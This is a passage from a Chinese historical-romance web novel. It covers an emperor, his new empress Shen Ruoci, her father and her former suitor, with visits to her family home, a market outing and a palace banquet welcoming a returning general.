“跟个矮冬瓜似的,哪里够得着。” 沈若辞旋即一愣。 她矮?她哪里矮了!明明是他长得太高,跟个窜天猴似的才对。 她脚下步子一转,忽地转身回去,气鼓鼓地正要反驳,映入眼帘却不是他讨厌的脸。 青翠的橄榄枝,零零星星地缀着大小不一的果子,正悬在她的眼前,被微风轻轻地吹动。 “拿着。” 蹦到嘴边的话被这串果实收买了,她接过橄榄枝,摘下几颗成熟的果子,提醒道,“小的不要打下来。” 二人一个负责用竹竿打果子,一个仰着头随时准备捡果子,竟是难得的和谐。 一串果子落下来的时候,顺着院墙滑到墙外,沈若辞提着裙子往外跑,“我去捡。” 小门就在不远处,她不假思索,一步跨过门槛。 院墙下立着一位白衣青年,玉冠束发,面容俊美斯文,衣着一丝不苟,只是神色有几分不协调的憔悴。 沈若辞脚步一顿,没想到袁子逸此时会出现在这里。见她出来,原本面无表情的一张俊脸浮现出笑意,他举起手中的橄榄枝,递给沈若辞,轻轻地唤了一声,“小辞。” 沈若辞举步不前,她凝着袁子逸看了一会,远远地回道,“袁公子。” 袁子逸握着橄榄枝朝她走来。 沈若辞打心底里没准备要回那支橄榄了,树上多的是,回去让他再打就行了。可一个转头,身边不知何时站了个人,在她打算转身的时候,那人手中长长的竹竿从高处往下坠,一眨眼的功夫,原本在高处的那一端,准确无误地抵着袁子逸的胸口,压得他寸步难行。 元栩手上并没有用劲儿,他把玩着掌中的仍泛着绿意的竹子,眼神里满是不屑,而后掌心轻轻往前一送,“小辞也是你叫的?” 袁子逸脸色一变,下意识想要挣扎躲开竹子,不想他稍一侧身,那竹子就像长了眼睛一样,分毫不错地跟了过去。如此几次,他发现竟无法躲开,除非——后退。 但后退代表着什么,没有人比他更清楚。 他脸色微微发白,神色隐忍,“皇上此举是何意?” “何意?”元栩语气冰冷,眼神如深潭水,从袁子逸脸上一扫而过,最后落在身旁的沈若辞身上,温和道,“叫皇后娘娘。” 第45章 袁子逸脸色由白转青, 他忽地望向沈若辞,嘴唇微微颤抖,只一味地看着她, 却不开口。 元栩看在眼里,轻轻地嗤笑一声, “袁公子若是不怕国公府一大家子为你陪葬,大可以僵持下去。”他语言温和, 语气也不甚在意,“见到天子, 不跪拜行礼,此为罪一。见到皇后, 直呼闺名, 此为罪二。明知犯错, 不思悔改, 此为罪三。” 袁子逸的脸色一寸一寸地灰败下去。 看他出丑,元栩心里舒坦极了, 袁子逸今日冒犯了他的女人, 他不会善罢甘休,怎么地也要让他认清现实。 “袁子逸,朕再问你一句,这声‘皇后娘娘”, 你是叫,还是不叫?”他还是这样,说得漫不经心, 毫不在意,但有点脑子都能听出他语言中的危险。 袁子逸抿紧苍白的唇,眼底隐隐发红, 他看向一旁的沈若辞,她虽始终不发一言,但他能看到她眼中的担忧和焦虑。 他从来都舍不得让她伤心难过,就是她皱一下眉头,他也要心疼半天。如今看她这副模样,袁子逸忽然破防了,他颤抖着声音妥协,“参见皇上、皇……后娘娘!” 元栩轻笑出声。 沈若辞并没有答应,只是无声地垂下眼眸,同时心里暗暗地松了一口气。 她跟袁子逸早就没有可能了,她虽惋惜,却也明白二人立场不一样,谁都不可能为了对方放弃自己的家人。唯一不同的是,他没有袁子逸执着,执着于说服对方来顺从自己。 她不会去要求对方,更不会去顺从于他。既然如此,纠缠便没有了意义,何况她如今已为人妻,于情于理,都不能与他这个旧情人有任何瓜葛。 “回去吧。”元栩面上不漏声色,掌心绕着竹子弧度转了一圈,稍一运力,袁子逸后退了几步,顶着他胸口的那一端应声落地。他捂着胸口咳了几声,视线里那竹梢拖着地,缓缓前行。 元栩已转身回去,惋惜道,“可惜那枝条上的橄榄。” 沈若辞声音平淡,“不要了,树上有的是。” 袁子逸手中仍握着橄榄枝,叶子被揉碎了,绿色的汁水顺着手心滴落,他满目猩红,映着二人的背影从小门消失。 二人回到院中又打了半盆子橄榄下来,沈若辞连枝带叶一起带去了厨房。 厨房的排骨是屠场刚送来,颜色鲜红漂亮,沈若辞将摘下来的青橄榄捣碎了,连同新鲜的排骨一起下锅。 红泥小火炉烧得正旺,砂锅往上一搁,她又开始着手做其他菜。 这两年因病久未下厨,今日做起菜来还是有些生疏,沈若辞勉勉强强做了三个菜,又让厨子帮忙做了几个,凑够八个菜才端上桌去。 沈墨已经两年没尝过女儿做的饭了,没想到今日又能吃上她做的菜,心头一涩,差点掉下眼泪来。 是他的错,没有让她早日康复,好在而今一切都好起来了。 沈若辞见父亲筷子基本上在那几盘菜上来来回回,又给他盛了一碗汤,“阿爹,喝汤。” 她将汤碗放在父亲面前,正想拿起筷子吃饭,手上的动作一顿,她朝那道冰冷的目光看过去,双手不情愿地伸过去再次拿起汤勺,替皇帝也盛了一碗汤。 元栩面色稍霁。 沈墨看不惯他使唤自己的女儿,也没有给他好脸色看。 翁婿二人似在捧场,又像在较劲,喝着小酒品尝沈若辞亲手做的菜式,明明已经吃得差不多饱了,可谁也不主动离桌。 沈若辞似乎早已习惯他二人你来我往的争斗,这些年来虽现场观战的只有这么两次,但从阿爹的口中,她早就对二人的“斗争”熟烂于心。 所以吃饱后,她也没有跟这二人耗下去,决定回房洗个澡先。方才做完饭身上还有油烟味,洗干净了才清爽。 女儿一走,沈墨也觉得这饭吃起来没意思了,他不想再看到皇帝的脸,“客房已安排好了,皇上随时可以过去休息。” “爹费心了,朕去沿沿房里睡就行。”元栩拂了一下衣摆,站起身来,“朕认得路,自己去就行,无需派人引路。” 这话果然将沈墨激怒。 这么说,是以前就来过的意思? 元栩明明已迈出几步,却又突然回过头来,“对了。”他说,“沿沿床柱上悬着的那对麒麟,当真是栩栩如生,爹用心了。” 沈若辞屋中的多数器物,都是沈墨寻名工巧匠精心打造的,选材用的都是顶尖的,又出自大师之手,无一不精致典雅。 元栩话中提及的那对麒麟,便是其中之一。 这狼崽子话里话外对女儿的闺房如此熟悉,无疑是趁他身陷牢狱时去过了。 沈墨顿时急火攻心。 “站住。” 沈墨此时顾不得什么君臣之礼,他只知道,自己护在掌心里的宝贝被人不当一回事,甚至任意折辱,胸膛里的那团火烧得更盛。 元栩回过头去,恭恭敬敬地问道,“请问爹还有何事?” 被他这么一问,沈墨才反应过来,而今眼前这人已经是女儿的夫婿,再追究这些似乎已经失去了意义。 他定定地看着这面貌俊朗的小皇帝,眉头紧锁又缓缓松开。最后,他忽然抬手,又忽地落下,一掌拍在他的肩膀上。 元栩毫无防备,被他这一掌拍得险些踉跄。 没有留时间给他思考,接下来又是一掌,拍在同样的位置。 沈墨虽为文臣,但自幼习武,身手丝毫不逊色于朝中武将。 这两掌下来,若是寻常人,早就站不住了。 元栩硬生生扛下这两掌,确实够呛。 “爹,还有事吗?”他面色几乎如常,甚至嘴边还挂着一丝微笑,似有若无。 沈墨掌心微微发麻,见他面不改色,甚至还能笑出来,“好,好得很!” 沈墨又凝了他一阵,觉得他那唇边的笑意怎么看怎么碍眼,最后挥挥手让他走了。 元栩快走出屋的时候,背后才缓缓传来一声,“臣恭送皇上。” 他没有回头,径直跨出门去。 沈若辞回到自己闺房。 虽然离开这里才三天,但对她来说却是漫长的一段时光。她窝在软塌上,喝着刚泡出来的蜂蜜梅子茶,细细地观赏着屋中的每一处摆设,暗暗的想,还是自己的房间好,比皇宫强多了,怎么看怎么舒服。 可这份惬意之享受了半刻钟,就被本该在客房休息的人打断了。 皇帝从屋外进来,背着光,沈若辞看不清他的神色,只听他边走边说,“喝的什么?给朕也来一杯。” 沈若辞放下手中的杯子,刚从软塌上起来,就听他沮丧地说,“沿沿,朕受伤了。” 她人一愣,见他身上衣物完好,行动自如,不像是受伤的模样。 该不会是来相府碰瓷的吧。 沈若辞还是开口问了一声,“皇上伤到哪里了?” 元栩看了自己的肩膀一眼,又看看沈若辞,缓缓地在床榻上坐下来。 沈若辞抿了抿唇,坐她的床做什么? 她虽不欢迎元栩来,不想被他打扰,但还是依言倒了一杯梅子茶送到他手中。 元栩只喝了一口便放在一旁,他拉起沈若辞的手,放在自己的肩膀上。 “这里。” 隔着衣服,什么也看不到,沈若辞随口一问,“怎么伤的?” 元栩握着她的手没有松开,“不小心撞到一块石头。” 沈若辞好奇起来,正常情况下,人好好地走在路上,什么石头能给他撞伤? 以她在这里生活了十几年的了解,相府目前还没有这种地方。 他仰起头看她,眼神脆弱且可怜,这让那双桃花眼看起来风流又多情,沈若辞手掌颤了颤,正想拿开手时,他忽然开口,“皇后就不打算看看朕的伤情吗?” 声音比眼神还要脆弱。 沈若辞心头没由来一软。 她抬起手落在他的衣襟上,试图拉开衣领看看什么情况。 衣服修身,根本没法看到什么,沈若辞不禁怀疑元栩是在骗她,故意让她瞎忙活。 握着她的那只手忽然动了动,拉着她的手一路往下,最后停在腰间,“脱衣服看看。” 她迟疑了一下,还是伸手去解他的腰带。 淡淡的草药香气从他身上散发出来,沈若辞心神一荡,有种似曾相识的感觉袭上心头,手上动作不由得一顿,脑子里却捕捉不到任何影像。 她凝了心神,专心去解腰带。玉扣松开,腰带落下,这次很轻松地拨开他肩头的衣物。 衣物散开,从他线条流畅优美的肩膀滑落,沈若辞无暇欣赏,大片的淤青占据他整个肩膀,青紫色一路往下延续到手臂,覆在他干净的肤色上,显得有些触目惊心。 沈若辞几乎是倒吸一口凉气,蹙起眉去看他的淤伤,良久才艰难地说道,“臣妾去拿药箱。” 她从柜子里寻到了药油,回头一望,元栩仍坐在床沿,身姿笔挺修长,一点不像受了伤的模样。她攥着药油返回,与他面对面对视了一眼,发现这个位置不好上药,干脆脱了鞋子爬上床去。 元栩坐着,她跪在他身后,将药油倒在手上,双掌交合,来回几次将掌心搓出热度,再将手掌覆于伤处,缓缓推动。 “疼吗?” 元栩勾了勾唇角,气息微弱地吐出一个字“疼”。 作者有话说:在爹那里挨打做硬汉,到媳妇面前哭唧唧。 第46章 沈若辞放慢了速度, 手上的劲头却没有放轻,她耐心解释道,“再忍耐一下, 不能再轻了。要这样的力度,药效才能被吸收。” 话虽这样说, 但当视线触及大片的淤青时,她原本动作熟练的手掌还是轻颤了颤。什么样的石头能将人撞成这个样子?顽石不成? 她试图分散注意力, “是在哪里的石头?怎么撞到的?” 问清楚了也好让人将石头处理了,免得旁人也受伤。 元栩淡淡地回答, “几十年的顽石。” “是朕自己不小心,与那石头无关。” 听到皇帝说出这句话的时候, 沈若辞心里还是松了一口气。帝王受伤是可大可小的事情, 可能一句话就会累及多人, 眼下他摆明了态度, 明显不会迁怒相府,还算有点良心。 他不细说, 沈若辞没必要细问。 元栩闭着眼睛, 整个人在她手掌的揉搓下变得懒洋洋的,连带声音也慵懒沙哑起来,“再用点劲。” 沈若辞可没他那么轻松,毕竟搓药油不是一件简单的事, 力道控制很重要,她从前在医馆练出来的手劲儿,这两年因病荒废得差不多了。 没想到她重出江湖第一个病人竟然是皇帝, 便宜他了。 两刻钟后,沈若辞气喘吁吁地从床上下来,又顾及病人伤情, 还是贴心地给他穿上衣裳。 衣裳穿到一半,沈墨在屋外在敲了敲门,“沿沿,爹可以进去吗?” 沈若辞手都是软的,气息不稳还来不及回答,便被元栩抢了话,“请进。” 房门是打开的,沈墨听到小皇帝的声音皱了皱眉头,片刻以后,他还是跨过门槛进了房里,就见沈若辞半弯着腰,正为皇帝穿衣,他神色尴尬,一时竟不知该进还是退。 “爹有何事?” 元栩抬起头,淡淡地问了一声,十足的主人做派。 这一句“爹”入了耳里,沈若辞手上动作一顿,茫然地抬头,对上他平静似水的面容,恍惚了一下才反应过来,他叫的确确实实是她的父亲。一种奇奇怪怪的感觉袭上心头,让她不由得加快了手速。 很快,沈若辞替他穿好了衣裳,转身去迎接沈墨,“阿爹。” 元栩从榻上起身,几乎是紧随其后。 沈墨绷着脸,目光越过沈若辞,落在她身后的帝王身上,“沿沿身子弱,还请皇上怜惜,莫要光天化日,海天胡地。” “阿爹!” 沈若辞被父亲一席话说得面红耳赤。 父亲不知道皇帝受伤,肯定是对方才治伤一事有所误会。念及此,她忙上前解释,只是话未出口,身旁的人忽地攥住她手,然后轻轻一带,沈若辞毫无防备就跌到他身上。 元栩顺势搂过她的腰,“朕与沿沿新婚燕尔,琴瑟和鸣,还请爹体谅个。” 明显就是装给他看的,他也不会上当!沈墨毫不留情地拆穿他,“沿沿之前,皇上后宫已有妃子,也算不上什么新婚不新婚的。” 元栩脸上笑容一滞,片刻之后,他道,“爹守寡太久了,怕是不记得新婚夫妻是什么滋味,是时候找个伴了。” 屋中一时安静得厉害,沈若辞几乎能听见自己的心跳声。方才二人你来我往,一人一句谁也不让谁的时候,她越听越是焦虑。 此时双方都安静下来,她发现还有更糟糕的。 沈若辞见双方互瞪得厉害,一时剑拔弩张,火药味十足,她拿皇帝没有办法,但搞定自己的父亲还是不成问题。 她双眸湿润,揉了揉额角望向沈墨,“阿爹,头疼。” 沈若辞声音清脆悦耳,此时装病,又带了点软糯,听着让人心疼不已。 果不其然,话刚出口,沈墨顿时将全部注意力转移到女儿身上,他下意识伸手去扶沈若辞,却不想下一秒便扑了个空。 原本准备接受父亲关心的沈若辞被腾空抱起,三两个箭步之间,人就已经到了床榻之上,接下来耳边便是冷冷的一声“躺好。” 柔软的被子簇拥上来,将周身包裹住,沈若辞足足愣了一会儿,才明白过来皇帝此举这是做给父亲看的。 她陷在被褥中,觉得有些惶恐,也有些好笑。 其实,大可不必这个样子的。 太明显,太做作,父亲反而不相信。 她和皇帝因为利益关系结合在一起,没有感情基础在,硬是要做出恩爱的举动,就如空中楼阁,镜中水月,不切实际。 翁婿二人都是身量高大之人,此时杵在床边,就像两座大山,迫得她连呼吸都不敢用力。沈若辞抬眼看看父亲,又望望皇帝,见二人面色严肃,目光齐刷刷地落在她身上,强烈的心虚迫使她从被窝里探出身子来。 沈墨察觉出她的意图,连忙制止,“别起来,快躺好了,让大夫给你看看先。” 惊动到大夫出马,沈若辞惊觉自己把谎撒大了,忙出言制止,“阿爹。”她眨了眨眼睛,假装思考了一下,“头好像不疼了,不必麻烦大夫。” 沈墨关切道,“大夫就在门口,不麻烦。”他此时前来,就是请了大夫专门来为沈若辞诊断的。 可沈若辞并不知道父亲的计划,惊得目瞪口呆,这下不知如何是好了。 目的是达到了,父亲跟皇帝暂时休战,但也带来了不可控的后果。 “何大夫,有劳了。” 沈墨将何景引到床边,“何大夫,两年前有幸请到您为小女诊治,今日又要麻烦您再来一趟。” 何景回之以礼,惭愧道,“沈相言重了,是在下医术平庸,两年前便未能诊出令爱病症,今日恐怕也无能为力。” 话说如此,何景还是从容地在床边坐下来,开始为沈若辞诊脉。 元栩立在一旁,何景的大名他也有所耳闻,皇城里屈指可数的名医,每天找他看病的人不计其数,能请到他也并非易事。 他安静地看着何景稀松的眉头缓缓皱起,复又松开,如此几次之后,他终于松开了号脉的手指。 “……如何?”沈墨终于可以将话问出口。 何景气定神闲地收拾脉枕放入药箱,才开口回道,“恭喜沈相。令爱此前筋脉淤堵,气滞血瘀,无从对症下药。敢问近来是服用了什么药物,病情竟有如此好转。” 闻言,沈墨几乎是松了一口气,病情真的好转就好,他怀疑皇帝撺掇他人一起来欺骗自己,索性请何景来验证一下。 他抱歉道,“何大夫恕在下无法告知,”他看了一眼一旁的小皇帝,继续说道,“本官也不知道药方。” 何景这些年没少给皇亲贵族看过病,接触的人多了,自然知道有的事不是他该知道的,他顺着沈墨的目光看了一眼床边的贵公子,心脏几乎是颤了颤。 可就算看出点什么,他也不敢猜测,更不敢多问,“是在下多嘴了。” 沈墨命人一路护送何景到家,再返回屋中的时候,沈若辞已坐在床头,慢吞吞地喝着皇帝强迫她喝下的温水。 索然无味。 沈墨心平气和地问道,“今晚可要留下过夜?” 沈若辞抬眸看了一眼身旁的人,听他回道,“不了,朕明日要迎接九皇叔回京,今夜便不留宿了。” 沈墨看向女儿,神色柔和,“沿沿留下来?” 沈若辞有些迟疑,最后还是摇摇头,“沿沿也想回宫。” 沈墨点点头。 新婚燕尔,他虽没成过亲,却也明白。 皇帝见沈相心情还不错,便趁机问道,“安都一事,爹考虑得怎么样了?” 眼见女儿身子好转,小夫妻二人相处得尚且过得去,沈墨没什么好操心了,便回道,“回皇上,臣今夜就启程去安都。” 沈若辞一惊,抬眸望向父亲,询问的话还没出口,便听元栩开口道,“有劳爹了,朕替大魏感谢沈相。” 沈墨不喜欢这些客套话,他冷冷地看了小皇帝一眼,郑重道,“臣只求皇上照顾好沿沿。” 沈墨走后,元栩依仗着身上有伤,死皮赖脸地粘着沈若辞在床上躺了好一阵,虽然没做什么过分的事情,但回程的路上,她还是意外地觉得乏累。 车轮辘辘前行,马车又大又稳,她靠着车壁,周身软软的。 元栩起初还端正地坐着,后来就忍不住靠过去,跟她滚在一起。 沈若辞心下一惊,正想找个理由挣脱他的束缚,元栩忽地将唇贴在她的耳边,“沿沿这么想跟朕回宫,就这么离不开朕?” 沈若辞试图坐起来,却被他拖得更紧,她忙澄清道,“九皇叔凯旋归来,臣妾也想随皇上去见一见大英雄。” 这样的说辞元栩明显是不信的。 她身上没有熏香,却有一股天然的暖香,柔和、 香甜,是他熟悉的那种奶香奶香的气息。 元栩搂着她,他想,九皇叔有什么好看的。 看他,肯定才是她回宫真正的目的。 沈若辞脸红得厉害,她不知道寻常夫妻是如何相处,但总归不是这样,马车行在闹市中,外边车水马龙,而他,却在在里边对她动手动口。 车门传来轻微的动静,他忽然收手,将沈若辞的裙衫拢起。回头便端坐于车内,一副谦谦君子的模样,仿佛刚刚做坏事的人不是他。 第47章 马车越走越慢, 直到最后停了下来,元栩声音有些沙哑,“想不想吃炒板栗?朕带你去买。” 说着他推开车门下了马车, 沈若辞用手背贴了贴脸,感觉没那么热了, 才跟着下车。 下车后她朝周围环视一圈,发现这里离医馆并不远, 也不知道罗医娘云游回来了没。 元栩已走出去一段路,在炒板栗的摊位前停了下来, 他伸手指了指锅里的板栗,“要一份板栗。” 炒板栗的妇人用头巾包着头发, 皮肤有些黝黑, 正坐着择菜。一听有人要买板栗, 立马放下手中的菜篮子, 起身相迎。 元栩轻轻喊了一声“张婆婆”,那妇人闻言抬起头来端详了他好一会儿, 才笑出声来, “呦,原来是小元公子啊,来来来!今天刮的什么风,竟把您给带来了。” 她笑呵呵地拿起锅铲翻了几下, 突然想起一件事来,“对了,沈姑娘怎么没来?很长时间没见过她了, 医馆也没见去坐诊,不知道她近来过得怎么样?” 元栩听她闲扯,嘴角挂着一丝淡淡的笑意。 闹市喧哗, 张婆婆以为他没听清楚,正想继续追问,下一刻就见他从身后拉出一位貌美的女子向她介绍,“我成亲了。这位,是我的新婚妻子。” 张婆婆脸上的笑容逐渐消失,只听见咣当一声,手中的锅铲掉落在地上,吓得她回过神来。 “沈、沈姑娘……”张婆婆有些语无伦次,不知道自己要说啥,慌乱中她干脆蹲下去捡地上的锅铲,用围裙将锅铲擦了好几遍,才平静下来,心里暗骂自己蠢笨,哪壶不开提哪壶。这女子相貌虽与沈姑娘有几分相像,但明显不是,她可要貌美许多。模样也娇滴滴的,一看就是富家千金,不像沈姑娘只是个平民女子。 沈若辞觉得这位张婆婆好生奇怪,嘴里不停地念叨“沈姑娘”,眼睛却一直盯着她的脸看,眼神也很不友善。 元栩似乎并不觉得有问题,耐心地等着板栗。 张婆婆为沈姑娘感到惋惜,在心里叹了口气,用油纸包了板栗递给元栩,“小元公子拿好了。” 元栩付了钱就拿着板栗离开。他从油纸里取出一颗板栗递给沈若辞,沈若辞摇摇头,“不吃。” 元栩剥了壳将板栗扔进嘴里,“又香又甜。” 沈若辞早就听说皇帝曾在民间拈花惹草,没想到头一回随他出来,就撞见了这档子事。 当事人正风轻云淡地吃着板栗,丝毫没有被张婆婆的反应影响到。 隔日早晨,元栩神采奕奕地在城楼上等候众将士,和他一起来的还有从被窝里爬起来,打着哈欠的容王殿下元琛。 元栩无可奈何地瞥了他一眼,刚想叫他滚回去睡觉,九皇叔的军队浩浩荡荡地进城,他没有看到元琛顿时容光焕发,神采飞扬地跟在他身后。 众人行礼过后,元栩跟九皇叔一同骑马进城,二人边走边聊。 “边关事了,九皇叔功不可没。” 九皇叔单手握着缰绳,气息浑厚,“皇上言重了,臣年事已高,出不了什么力气。此番胜战都是阿秋的功劳,计谋实战都出自于她的手笔,老臣不过是沾了她的光,得了个好名声。” 两年前南疆战火愈演愈烈,北面那几个小国见有机可趁,频频侵犯大魏,九皇叔抽不开身,元栩一气之下亲自上北面带兵杀敌。后来战事平息,他曾赶赴南疆,亲眼见识过程于秋在战场上的智勇,对她赞不绝口。 “九皇叔谦虚了,您的战绩朝廷上下有目共睹。程将军乃女中豪杰,带兵谋略不在话下,二人皆是我大魏至高无上的荣光。” 程于秋一身战甲英气逼人,皮胄下那张年轻女子的脸,粉墨不施,却清丽至极。她骑着战马稍后两步,听到皇帝的夸赞,神色宠辱不惊,“多谢皇上夸奖。” 容王殿下跟在元栩身旁附和道,“九皇叔宝刀未老,程将军乃巾帼英雄。” 九皇叔“哼”了一声,没给他好脸色看。 元栩微微笑着,尽管不说话,从他身上流露出的帝王气质却不容忽视。 九皇叔见昔日少年而今愈发沉稳利落,心中很是欣慰。作为长辈,操心的事情便不止国事了,他回想起当时南疆战场上二人初次见面,皇帝对程于秋的欣赏,便忍不住说道,“阿秋也年满十八了,这些年为大魏耽误了婚事,至今未曾议亲,皇上年纪也不小了,你二人……” 听九皇叔有意撮合元栩跟程于秋,容王几乎是脱口而出,“这就不劳九皇叔费心了,皇上几日前才刚大婚,迎娶沈家千金为皇后。” 九皇叔脸色一变,刚想训斥元琛胡说八道,就听皇帝淡淡地说道,“九皇叔,朕已经成婚了。” 九皇叔满腔热忱为义女跟皇帝说亲,没想到话未出口,这事就已经夭折,他黑着脸冷冷地问道,“哪个沈家女?” 元栩回道,“是沈相的女儿。” 在九皇叔谈及婚事的时候,程于秋全程一眼不发,眼皮子也没抬一下,此时闻言却猛地抬头,几乎不可置信地望向皇帝。 怎么会是她? 怎么可能?会不会是弄错了。 刹那间,这些话在她脑中来来回回,她都不知该如何开口询问。 元琛在一旁关心道,“程将军怎么了,脸色这么差?” 程于秋握紧了手中的缰绳,缓缓地回过神来,清丽的面容隐约有不悦之色。 此时同行的官员不在少数,九皇叔也不好追根究底,程于秋面上的神色他都看在眼里,心里都是对义女满满的愧疚。 九皇叔跟程于秋一起进宫,元栩为他父女二人安排了住处,以供换洗休整。 宫宴设在晌午,薛太后携后宫一众妃子前来,沈若辞身为皇后,自然也要出席。 九皇叔和程于秋是今日的主角,二人坐在显眼的位置。 军营生活简单清苦,又要时刻保持清醒,过得很不称心。现在放松下来,九皇叔也不再约束自己。 几杯美酒下肚,整个人已微微有了醉意。 程于秋褪下战甲,换上一身绯衣,梳着精致的发髻,怀中抱着一只黑猫,面容清丽动人,很难让人联想到她是令敌人闻风丧胆的大魏悍将。 黑猫双眸大而深邃,毛色纯黑不夹半分杂色,程于秋轻抚泛着光泽的黑毛,微笑着听众人聊天。 今日女眷不在少数,宴会上准备了不少清甜的果酒,众人都跟着气氛小酌几杯。沈若辞看着嘴馋,每一种都想试上一口。 酒意上头,九皇叔脸色泛红,又继续说起城门下没说出口的话,“阿秋才貌双全,为大魏立了不少战功,理应是大魏皇后的最佳人选。” 此话一出,众人的目光都下意识地落在程于秋身上。 程于秋恍若未闻,她在专心喂猫。沈若辞见她从宫女手中接过鱼肉,盘子搁在自己的腿上,黑猫低下头吃鱼。 她正看得起劲,程于秋突然抬起头来,眼神直接跟沈若辞对上。沈若辞愣了愣,见程于秋朝她笑了笑,她也抿着唇点了一下头。 薛太后自知她在九皇叔那里不讨喜,也不去接他的话,只笑着看好戏。 薛雪媚却不怕得罪他,在一众妃子中率先开口,“这后宫已有了主,九皇叔怕是要希望落空了。” 九皇叔冷哼一声,又想开口,元栩淡淡地看他一眼,往他杯子里满上酒,“皇叔,上等美酒。” 酒香四溢,九皇叔也忘了方才到嘴边的话,重新拿起了酒杯。 沈若辞喝着果酒,视线总是不经意地落在黑猫身上,程于秋抱着猫朝她走过来,众人不约而同地放下手中的杯子。 程于秋望向她艳若娇花的脸庞,眼睛一瞬不瞬地盯着她看,“皇后娘娘莫要见怪,义父是喝醉了。” 沈若辞并没有将九皇叔的话放在心上,她摇摇头道,“不碍事。” 黑猫慵懒地趴在程于秋的臂上,她给猫顺着毛,动作不疾不徐,优雅流畅,“末将倒不曾想过,皇后娘娘竟这般高贵优雅,姿容无双。” 沈若辞手里捏着白玉瓷杯,听出她话语中的揶揄,很想给她一个眼神,让她自己好好体会。但此时宫宴上那么多双眼睛盯着,她也不好直接表现出来,只看着黑猫将话题转移,“它可真好看。” “是吗?”程于秋摸了摸它的脑袋,“我怕它在宫里不习惯要乱跑,便把它抱过来了,皇后娘娘能否帮我抱一下?” 伺候程于秋的宫女心里一惊,方才在寝殿里的时候,她想帮程将军照看一下黑猫,没想到那小畜生凶得很,差点把她手抓伤了,现在想起来都觉得心有余悸。此时听程于秋要皇后娘娘抱猫,她几乎是不假思索,“娘娘小心,黑猫会抓人。” 宫女出声的时候,沈若辞已从程于秋手中接过猫,抱在怀里,“不怕。” 元栩本来有机会阻止的,但是他只是看着,看着沈若辞伸手抱猫,小心翼翼地把黑猫捧在怀里,他眉头一皱。 几位妃子闻言精神抖擞,纷纷等着看好戏。 连骁最先坐不住,他朝沈若辞走过去,“娘娘,听宫女说此猫会抓人,交给本将军处理吧。” 猫儿好好地躺她怀里,哪里会抓人了。更何况这弱小的猫儿落在连骁手里,不知道会被他怎么处理呢,沈若辞委婉拒绝,“多谢连将军,猫猫很乖,并不会抓人。” 连骁见她沾了酒,双颊泛着淡淡的粉,肤色白里透红,惹人喜欢得紧,哪里承受得住利爪的攻击,他坚持道,“以防万一,还是交给本将军。” 沈若辞抬头看了连骁一眼,眼巴巴地想哪有人这样的,赶着跟她抢猫。 众人都好奇连骁的行为,顿时目光都落在二人身上。 作者有话说:女二出场啦[烟花][烟花][烟花] 第48章 空旷的宫殿中一时安静, 元栩忽然笑出声来,他起身走到二人之间,“舅舅真是忧国忧民啊, 一点小事都要操心。” 连骁脸色一变,但见他嘴边始终带着笑, 笑得依旧漫不经心,顿时胸口生出一股恨意, 既然不好好爱惜她,为何要强行把人留在宫里。 娇花需要呵护爱惜, 而不是像他一样随意,随意折辱忽视。 程于秋离开了一会儿, 回来的时候见皇帝跟连骁二人对峙, 气氛有些微妙, 一旁的沈若辞委屈地抱着猫儿不肯撒手。她走到三人旁边, 朗声笑道,“多谢娘娘帮忙照看猫儿, 末将从南疆带回来一份礼物, 改日进宫献给娘娘。” 沈若辞将黑猫交给程于秋,坐回自己的位置,她心情不错,又开始喝果酒。 元栩皱着眉头凶她一句, “少喝点。” 沈若辞讪讪地放下酒杯,趁他不注意的时候,又拿起黑色的桑葚酒小抿了一口。她入宫后, 好久没这么开心了,今日忍不住多喝了几口酒。 宫宴接近尾声,九皇叔已醉得彻底, 被宫人扶下去休息。几位妃子原本满怀期待,最后没看到好戏,更接近不了皇帝,都觉得无趣极了,纷纷离场。 步辇上沈若辞已醉意朦胧,皇帝搂着她,尽量不让她摔下去。 今日她穿一身淡紫色的轻烟纱裙,裙摆蓬松,层层叠叠晕染着紫色垂落在杏色的绣鞋上,如轻烟一般袅袅婷婷。 元栩闻着她身上独有的香气,搂着细腰的手不住地收紧。 沈若辞感受到压迫感,她推开身旁人,“好热,我要下去。” 元栩见书房就在前面,便跟着她下去,二人一前一后进了书房。后脚才刚迈过门槛,元栩倏地转身关门,而后将人抵在门板上,狠狠地吻了起来。 沈若辞身子更软了,几乎是站不住了,最后元栩抱着她到屏风后边的软塌上。 她满面霞红,伸手碰了碰下唇,迷迷糊糊地问他,“你、你亲我做什么?” 还问做什么?不是她一路上不停地引诱,自己能如此冲动? 元栩无奈揉了揉额角,而后抬起修长的脖颈长长地呼出一口气。再转身回来的时候,榻上玉人美眸半闭,绣鞋也踢落了一只,所幸罗袜还在脚上。 他从地上捡起绣鞋,门口就传来岳常安的声音,“启禀皇上,连将军求见。” 元栩站起来从屏风里走出去,绣鞋仍握在他手中,“舅舅请进。” 甫一进门,连骁就注意到屋中轻微的声响,他目光迅速转了一圈,就发现屏风后模糊的人影,那人从屏风边缘探出的半截纤弱的小腿,仅着罗袜,悬在半空中,如绿柳一般轻盈柔软。 这一看就是女子的脚。 他在心里嗤笑一声,目不斜视地走向议事厅,一眼就看到元栩手上的绣鞋。 帝王身边,从来最不缺的便是女人,就是不知眼下那榻上躺着的,又是哪个痴心妄想的女人。 元栩若无其事地将绣鞋放在身后,“舅舅有何事?” 连骁似乎也不记得方才宫宴上的不愉快,“臣听说沈相昨夜已启程前往安都,是否为贪银流入虞城一事?” 元栩没有隐瞒,直接点头,“是朕安排的。” “此事错综复杂,让沈相亲自去办,最为稳妥。如若需要支援,臣愿立即带兵前往。” 元栩回道,“舅舅有心了。” 二人又谈了一些虞城的情况,最后连骁才将话说出口来,“沈相为大魏鞠躬尽瘁,皇上也不可寒了忠臣的心。” 元栩微微笑着,“朕会善待皇后。” 连骁心头一怒,“皇上心里清楚,沈相并不想女儿留在宫中。” 元栩依然不紧不慢,“舅舅误会了。” 想起宫宴上元栩对她不闻不问,任人欺凌,连骁腾地一下站起来,“皇上!” 他压下胸中怒气,“求皇上放她出宫,臣愿意照顾她……” 元栩脸上的笑意淡下去,“来人,送连将军。”他径直走往屏风,连骁知道后边有个女人,他肯定是迫不及待要过去与她温存。 连骁男子顿时冒出一个念头,如果沈若辞跟了他,他的后宅可以干干净净,只留她一个女人。而不像元栩,后宫佳丽三千。 岳常安上前引路,“连将军这边请——” 连骁走了几步,屏风后边传来女子呜呜咽咽的声音,他脑中莫名闪过裙摆下那截莹白的脚踝,白嫩嫩的,晃眼得很,此时他脑中有个奇怪的念头。 屏风后,沈若辞原本已醉意朦胧,元栩一碰她,她又缓缓地睁开眼睛,眼中茫然漾开,才看清来人。 